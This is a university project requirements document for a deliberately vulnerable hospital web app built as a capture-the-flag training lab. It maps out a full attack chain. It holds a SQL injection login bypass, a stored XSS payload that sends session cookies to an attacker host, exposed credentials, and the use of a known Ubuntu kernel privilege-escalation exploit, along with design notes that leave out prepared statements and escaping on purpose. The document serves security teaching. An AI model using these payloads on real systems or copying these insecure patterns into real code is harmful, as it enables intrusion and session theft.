

PROJECT REQUIREMENTS DOCUMENT

Zero-Day Legacy

Boot-to-Root CTF Lab Machine

Royal Health Hospital — Vulnerable Web Application

Field	Details
Project Name	Zero-Day Legacy
Type	Boot-to-Root CTF Lab Machine
University	Ajloun National University (ANU)
Faculty	IT – Cybersecurity and Cloud Computing
Academic Year	2025–2026
Platform	Ubuntu 20.04.5 LTS (VirtualBox)
Stack	Apache 2.4 + PHP 7.4 + MySQL 8.0
Network	Bridged Adapter (Static IP)
Auto-Reset	Every 90 minutes
Bilingual	Arabic + English (all pages)

Development Team

Name	ID	University major
Ayham Megdadi	202220116	Cybersecurity and cloud computing
Ibrahim Onizat	202220363	Cybersecurity and cloud computing
Manar Hussein	202220241	Cybersecurity and cloud computing
Amira Freihat	202220520	Cybersecurity and cloud computing
Salsabeel Abu Hawwa	202220148	Cybersecurity and cloud computing

⚠ This system is intentionally vulnerable for cybersecurity education. All vulnerabilities are by design. For academic use only.

1. Executive Summary

Zero-Day Legacy is a Boot-to-Root CTF (Capture The Flag) lab machine developed as a graduation project at Ajloun National University. It simulates a realistic hospital management system — Royal Health Hospital — that contains multiple intentional security vulnerabilities forming a complete attack chain.

The attacker, playing the role of a patient who cannot afford a hospital bill, breaks into the system, escalates privileges, and deletes the backup invoice file to complete the challenge.

The machine resets automatically every 90 minutes so multiple users can attempt it without reinstalling.

2. Attack Scenario — "Zero-Day Legacy"

2.1 Story

A patient at Royal Health Hospital receives an invoice he cannot afford. Instead of paying, he decides to hack the system and delete the invoice. Since he is connected to the hospital's internal network, he begins his attack from within.

2.2 Attack Chain (Step by Step)

Step	Action	Tool / Method	Outcome
1	Network Discovery	sudo netdiscover	Find hospital VM IP address
2	Port Scan	nmap -sV <IP>	Port 80 (HTTP) + Port 22 (SSH) open
3	Web Recon	dirb / gobuster	Find admin.php (403), adminpanel.php (404), robots.txt
4	Login as Patient	Browser	See unpaid invoice → motivation to attack
5	SQL Injection	' OR role='nurse' -- on login.php	Login as nurse account
6	XSS Injection	nurse_messages.php → send payload to admin	Inject stored XSS in messages
7	Auto-Reply Trigger	PHP inserts admin reply automatically	XSS payload echoed back to nurse page
8	Cookie Theft	document.cookie → netcat listener	Steal admin session cookie
9	Session Hijack	Set cookie in browser	Access admin dashboard without password
10	Delete Invoice	admin_invoices.php → Delete button (GET, no CSRF)	Invoice deleted from DB
11	Find SSH Credentials	admin_backup.php → SSH User/Pass visible	user1 / Adm1n#H0sp
12	SSH Login	ssh user1@<IP>	Low-privilege shell as user1
13	Find Hash File	ls /home/user1/ → crack-user2-hash.txt	MD5 hash of user2 password
14	Crack Hash	hashcat / john / crackstation	Get user2 plaintext password
15	Switch User	su - user2	Shell as user2
16	Privilege Escalation	CVE-2021-3493 (EDB-49655)	Root shell
17	Delete Target File	rm /var/backups/hospital/invoices_backup.sql	CTF SOLVED ✓

2.3 Web Recon Details (dirb)

When the attacker runs dirb against the hospital website, they find:

URL	Response	Meaning for Attacker
login.php	200 OK	Nurse + Patient login — try SQL injection
admin.php	403 Forbidden	Admin panel exists but requires auth
admin.html	403 Forbidden	Another admin reference — confirms admin area
adminpanel.php	404 Not Found	Wrong path — keep looking
robots.txt	200 OK	Reveals: /admin.php, /admin.html, /adminpanel.php, /admin/, /config.php
loginadmin.php	Hidden	Not in robots.txt — must find another way in

loginadmin.php is intentionally hidden from dirb results. The attacker must reach admin via XSS → Session Hijacking, not by finding the admin login page directly.

2.4 XSS → Cookie Theft Mechanism

The XSS attack works as follows:

- Attacker (logged in as nurse) sends a message to admin via nurse_messages.php
- The message contains a JavaScript payload:

```
<script>fetch('http://ATTACKER_IP:4444/?c='+document.cookie)</script>
```

- PHP saves the raw message to DB (no sanitization — intentional)
- PHP auto-trigger: immediately inserts a reply from admin (ID=2) back to nurse

- Nurse opens nurse_messages.php → sees the admin reply
- The reply section echoes \$row['content'] raw → XSS executes in nurse's browser
- document.cookie (containing admin session) is sent to attacker's netcat listener
- Attacker sets the cookie in browser → enters admin dashboard

⚠ No real person needs to be logged in as admin. The auto-reply trigger makes the XSS execute when the attacker (as nurse) opens the messages page.

3. Vulnerability Specifications

#	Vulnerability	Location	Technique	CVE / CWE
V1	SQL Injection	login.php + loginadmin.php	' OR role='nurse' --	CWE-89
V2	Stored XSS	nurse_messages.php (inject) admin_messages.php (render)	Raw echo of \$row['content']	CWE-79
V3	Session Hijacking	Admin cookie theft via XSS	document.cookie → attacker	CWE-384
V4	Missing CSRF	admin_invoices.php delete	GET ?action=delete&id=X	CWE-352
V5	Credential Exposure	admin_backup.php	SSH creds visible in UI	CWE-312
V6	Plaintext Passwords	users table in MySQL	No hashing in DB	CWE-256
V7	Privilege Escalation	Linux kernel	CVE-2021-3493 (EDB-49655)	CVE-2021-3493
V8	MD5 Weak Hash	/home/user1/crack-user2-hash.txt	Hashcat / John	CWE-328

All vulnerabilities are intentional and serve a specific purpose in the CTF attack chain. They are NOT bugs — they are features of the educational design.

4. Database Design

4.1 Database Info

Property	Value
Database Name	royal_health_db
Engine	MySQL 8.0
Charset	utf8mb4
Tables	4 (users, patients, invoices, messages)

4.2 Table: users

Column	Type	Key	Notes
id	INT AUTO_INCREMENT	PK	
username	VARCHAR(50)		Plaintext — intentional
password	VARCHAR(255)		Plaintext — no hashing (intentional)
role	ENUM('nurse','admin','patient')		

4.3 Table: patients

Column	Type	Key	Notes
id	INT AUTO_INCREMENT	PK	
user id	INT UNIQUE	FK → users.id	UNIQUE = one-to-one with users
name	VARCHAR(100)		
dob	DATE		Date of Birth

Column	Type	Key	Notes
diagnosis	TEXT		
room	VARCHAR(10)		
admitted_at	DATETIME		

4.4 Table: invoices

Column	Type	Key	Notes
id	INT AUTO_INCREMENT	PK	
patient_id	INT	FK → patients.id	
amount	DECIMAL(10,2)		
status	ENUM('paid','unpaid')		
description	TEXT		
created_at	DATETIME		

4.5 Table: messages

Column	Type	Key	Notes
id	INT AUTO_INCREMENT	PK	
from_user	INT	FK → users.id	
to_user	INT	FK → users.id	
content	TEXT		Stored raw — NO sanitization (XSS)
timestamp	DATETIME		
is_read	TINYINT(1)		0=unread, 1=read

4.6 Entity Relationships

- users → patients: 1:1 (via user_id UNIQUE)
- patients → invoices: 1:N (one patient, many invoices)
- users → messages.from_user: 1:N
- users → messages.to_user: 1:N

4.7 Seed Data

username	password	role	Notes
admin	Adm1n#H0sp	admin	ID=2, same password reused for SSH user1
nurse01	Nurse@2024	nurse	Main nurse account
patient1	[set by nurse]	patient	Has unpaid invoice

5. Web Application Architecture

5.1 File Structure

Path	Description	Status
home.html	Hospital homepage (bilingual)	✓
login.php	Nurse + Patient login (SQLi vulnerable)	✓
loginadmin.php	Admin-only login (SQLi vulnerable, hidden)	✓
logout.php	Role-based redirect: admin→loginadmin, others→login	✓
config.php	DB credentials (intentionally exposed to admin)	✓
.htaccess	Error routing: 403→errors/403.php, 404→errors/404.php	✓
robots.txt	Exposes: admin.php, admin.html, adminpanel.php, /admin/	✓

Path	Description	Status
admin.php	Returns 403 — CTF hint for dirb	✓
admin.html	Returns 403 — CTF hint for dirb	✓
adminpanel.php	Returns 404 — CTF misdirection	✓
errors/403.php	Custom 403 page (uses PHP session role)	✓
errors/404.php	Custom 404 page	✓
admin/admin_dashboard.php	Stats, recent invoices, messages, security logs	✓
admin/admin_messages.php	XSS render point + compose + reply to nurses	✓
admin/admin_invoices.php	CRUD invoices (delete via GET, no CSRF)	✓
admin/admin_nurses.php	CRUD nurses (passwords shown in plaintext)	✓
admin/admin_patients.php	CRUD patients	✓
admin/admin_manager.php	Team info + project description	✓
admin/admin_backup.php	Fake backup status + SSH credentials exposed	✓
nurse/nurse_dashboard.php	Stats + quick actions + recent patients	✓
nurse/nurse_patients.php	Patient list + search (SQLi in search)	✓
nurse/nurse_messages.php	XSS inject point + auto-reply trigger	✓
nurse/nurse_add_patient.php	Create patient account + medical record	✓
nurse/nurse_schedule.php	Placeholder schedule page	✓
patient/patient_dashboard.php	Patient portal (data from DB, 15-min session)	✓

5.2 Session Variables

```
$_SESSION['user_id'] → INT $_SESSION['username'] → STRING $_SESSION['role'] →
'nurse' | 'admin' | 'patient'
```

5.3 Config File

```
$host = 'localhost'; $user = 'root'; $password = 'root'; $database =
'royal_health_db';
```

config.php is intentionally accessible to the admin dashboard — this is how the attacker finds DB credentials and reuses them for SSH.

6. User Roles & Permissions

6.1 Patient

Login via: login.php (role selector: Patient)

Logout: redirects to login.php

Session: auto-logout after 15 minutes

Feature	Access
View own medical info (name, DOB, room, diagnosis)	✓ Read
Edit phone number	✓ Edit (saves to session/localStorage)
View own invoices	✓ Read (from DB)
Download lab/prescription/invoice as .txt	✓
View vital signs (static demo)	✓
View appointments (static demo)	✓
Edit/Delete invoices	✗
View other patients	✗
Access nurse/admin pages	✗

6.2 Nurse

Login via: login.php (role selector: Nurse)

Logout: redirects to login.php

Feature	Access
View all patients	✓
Search patients by name or ID	✓ (SQLi vulnerable search)
Edit patient medical info (diagnosis, meds, labs)	✓
Add new patient account	✓
Send messages to admin	✓ (XSS inject point)
View admin replies	✓ (XSS render — auto-reply trigger)
View/Edit/Delete invoices	✗
Access admin pages	✗

6.3 Admin

Login via: loginadmin.php (hidden from dirb)

Also accessible via: session hijacking (XSS cookie theft)

Logout: redirects to loginadmin.php

Feature	Access
Full invoice management (Add/Edit/Delete)	✓ (Delete via GET, no CSRF)
View all messages from nurses (XSS executes here)	✓
Reply to nurses / Compose new messages	✓
Manage nurses (CRUD + plaintext passwords visible)	✓
Manage patients (CRUD)	✓
View backup status + SSH credentials	✓ (intentional exposure)
View team info (Manager page)	✓
View security logs (fake/static)	✓

7. Linux VM Configuration

7.1 System Info

Property	Value
OS	Ubuntu 20.04.5 LTS
Platform	VirtualBox
Network	Bridged Adapter (gets real LAN IP)
IP	Static (configured on setup)
vCPU	1
RAM	1 GB
Storage	2 GB
Auto-start	Apache + MySQL on boot

7.2 Services

Service	Port	Version
Apache HTTP	80	2.4.x
OpenSSH	22	OpenSSH 8.2p1
MySQL	3306 (local only)	8.0.x

7.3 Linux Users

User	Password	How Obtained	Permissions
user1	Adm1n#H0sp	admin_backup.php (credential exposure)	Low privilege, no sudo
user2	[cracked from MD5]	/home/user1/crack-user2-hash.txt	Member of exploitable group for CVE-2021-3493
root	[via exploit]	CVE-2021-3493 (EDB-49655)	Full system access

7.4 Important Files on VM

Path	Content	Purpose
/home/user1/crack-user2-hash.txt	MD5 hash of user2 password	CTF pivot: crack and su to user2
/var/backups/hospital/invoices_backup.sql	Text file: 'CTF Solved Successfully'	Final target — delete this file
/var/www/html/	Hospital web application	Main web root
/home/user1/reset.sh	Auto-reset script	Restores DB + target file every 90 min

7.5 Privilege Escalation — CVE-2021-3493

Property	Value
CVE	CVE-2021-3493
ExploitDB	EDB-49655
Description	Ubuntu OverlayFS local privilege escalation
Affected	Ubuntu 20.04 LTS (kernel 5.4.x)
CVSS Score	7.8 HIGH
Method	Compile C exploit on target with gcc
Result	Root shell

7.6 Auto-Reset Mechanism

The VM resets automatically every 90 minutes using a cron job:

```
* /90 * * * * /home/user1/reset.sh
```

The reset.sh script:

- Drops and recreates royal_health_db
- Reloads schema_seed.sql (schema + seed data)
- Restores /var/backups/hospital/invoices_backup.sql
- Logs reset timestamp to /var/log/ctf_reset.log

The auto-reset makes the machine usable without reinstallation — similar to HackTheBox and TryHackMe production environments.

8. Technology Stack

Layer	Technology	Version	Notes
OS	Ubuntu LTS	20.04.5	VirtualBox VM
Web Server	Apache	2.4.x	Auto-starts on boot
Language	PHP	7.4	No frameworks — raw PHP
Database	MySQL	8.0.x	Vulnerable queries (no prepared statements)
Frontend	HTML/CSS/JS	—	No Bootstrap, custom CSS
Icons	Font Awesome	6.x	CDN
Fonts	Inter + Cairo	—	Google Fonts (EN + AR)
Development	XAMPP on Windows	—	Export to Ubuntu VM
Version Control	—	—	Not used (direct development)

9. Development Task Division

Person	Name	ID	University major	ID
1	Ayham Megdadi	202220116	Cybersecurity and cloud computing	202220116
2	Ibrahim Onizat	202220363	Cybersecurity and cloud computing	202220363
3	Manar Hussein	202220241	Cybersecurity and cloud computing	202220241
4	Amira Freihat	202220520	Cybersecurity and cloud computing	202220520
5	Salsabeel Abu Hawwa	202220148	Cybersecurity and cloud computing	202220148

9.1 Development Workflow

- Step 1: Person 4 creates ERD + schema.sql first (all others depend on DB)
- Step 2: Person 5 sets up VM with LAMP stack and static IP
- Step 3: Persons 1, 2, 3 develop on XAMPP (Windows) simultaneously
- Step 4: Integration — merge all pages, test full attack chain
- Step 5: Deploy to Ubuntu VM, configure auto-reset
- Step 6: Full CTF walkthrough test

9.2 Shared Conventions (All Developers)

- Session variables: \$_SESSION['user_id'], ['username'], ['role']
- DB connection: require './config.php' (or 'config.php' from root)
- Logout path: './logout.php' (or 'logout.php' from root)
- All pages support Arabic and English (i18n with JS translations object)
- No prepared statements anywhere (intentional — CTF design)
- No htmlspecialchars on message content in display (intentional — XSS)

10. Success Criteria

10.1 CTF Completion Criteria

Milestone	Verification
SQL Injection works on login.php	' OR role='nurse' -- successfully logs in as nurse
XSS injects via nurse_messages.php	<script>alert('XSS')</script> executes
Auto-reply triggers XSS on nurse page	Admin reply appears immediately after nurse sends message
Cookie theft works	document.cookie captured by netcat listener
Admin session hijack works	Attacker can access admin dashboard with stolen cookie
Invoice deleted	Target invoice removed from DB via GET request
SSH login successful	ssh user1@IP with Adm1n#H0sp
Hash cracked	MD5 from crack-user2-hash.txt → user2 password
su user2 works	Switch to user2 with cracked password
CVE-2021-3493 exploited	Root shell obtained
Target file deleted	rm /var/backups/hospital/invoices_backup.sql
CTF flag found	File contains 'CTF Solved Successfully!'

10.2 Auto-Reset Verification

- After 90 minutes: DB restored to original state
- After 90 minutes: invoices_backup.sql recreated
- After 90 minutes: all XSS messages cleared
- New session can complete full attack chain without reinstallation

11. Ethical & Legal Disclaimer

⚠ This project is developed exclusively for academic and educational purposes as a graduation project at Ajloun National University.

The vulnerabilities implemented in this system are intentional and controlled. They exist solely to create a realistic cybersecurity training environment for students learning ethical hacking and penetration testing.

The system is designed to run in an isolated VirtualBox environment on a local network. It should NEVER be deployed on a public internet-facing server.

Principle	Implementation
Isolation	VirtualBox VM — isolated from public internet
Purpose	Education only — CTF challenge for cybersecurity students
Disclosure	All vulnerabilities documented in this PRD
No Real Data	All patient data is fictional and generated for the CTF
Responsible Design	Vulnerabilities serve specific educational objectives

By using this lab machine, users agree that they will only exploit the system in authorized, controlled environments for educational purposes.

12. Project Team

Name	ID	University major
Ayham Megdadi	202220116	Cybersecurity and cloud computing
Ibrahim Onizat	202220363	Cybersecurity and cloud computing
Manar Hussein	202220241	Cybersecurity and cloud computing
Amira Freihat	202220520	Cybersecurity and cloud computing
Salsabeel Abu Hawwa	202220148	Cybersecurity and cloud computing

Supervisor: Dr.Mohammad Al-Sawah

University: Ajloun National University (ANU)

Faculty: IT — Cybersecurity and Cloud Computing

Academic Year: 2025–2026

— End of Document —